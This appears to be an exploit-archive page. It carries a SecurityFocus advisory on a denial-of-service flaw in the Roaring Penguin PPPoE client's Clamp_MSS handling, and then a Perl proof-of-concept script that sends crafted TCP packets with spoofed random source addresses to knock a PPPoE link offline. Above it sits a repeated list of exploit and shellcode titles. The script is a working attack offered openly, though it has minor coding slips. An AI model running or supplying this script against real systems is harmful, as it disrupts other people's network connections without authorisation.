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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
41 lines
No EOL
1.7 KiB
Perl
Executable file
41 lines
No EOL
1.7 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2098/info
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Roaring Penguin Software's PPPoE is a freeware PPP over Ethernet client often used by ADSL subscribers running Linux or NetBSD.
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PPPoE contains a possibly remotely exploitable denial of service vulnerability in its handling of TCP packets when the Clamp_MSS option is used. If PPPoE recieves a malformed TCP packet with a "zero-length option", PPPoE will go into an infinite loop. As a result, the ppp connection being supported by PPPoE will time out and be terminated. A manual re-start is needed to regain functionality.
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This bug has been fixed by Roaring Penguin Software in a new version, see the solutions section.
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#!/usr/bin/perl
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# POC script that causes a DoS in an PPP-over-Ethernet Link, in RedHat 7.0.
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# Advisory: http://www.redhat.com/support/errata/RHSA-2000-130.html
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# by dethy
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use Net::RawIP;
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use Getopt::Std;
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getopts('d:s:p:c',\%args) || &usage;
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if(defined($args{d})){$daddr=$args{d};}else{&usage;}
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if(defined($args{s})){$src=$args{s};}else{$src=&randsrc;}
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if(defined($port{p})){$port=$args{p};}else{&usage;}
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if(defined($args{c})){$count=$args{c};}else{$count=10;}
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sub randport(){
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srand;
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return $sport=(int rand 65510);
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}
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sub randsrc(){
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srand;
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return $saddr=(int rand 255).".".(int rand 255).".".(int rand 255).".".(int rand 255);
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}
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$packet = new Net::RawIP({ip=>{},tcp=>{}});
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$packet->set({ ip => { saddr => $src,
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daddr => $daddr,
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tos => 3 },
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tcp => { source => $sport,
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dest => $port,
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syn => 1, psh => 1 } });
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$packet->send(0,$count);
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sub usage(){ die("pppoe-link POC DoS on RH7\n$0 -d <dest> -s <source> -p <port> -c <count>\n"); } |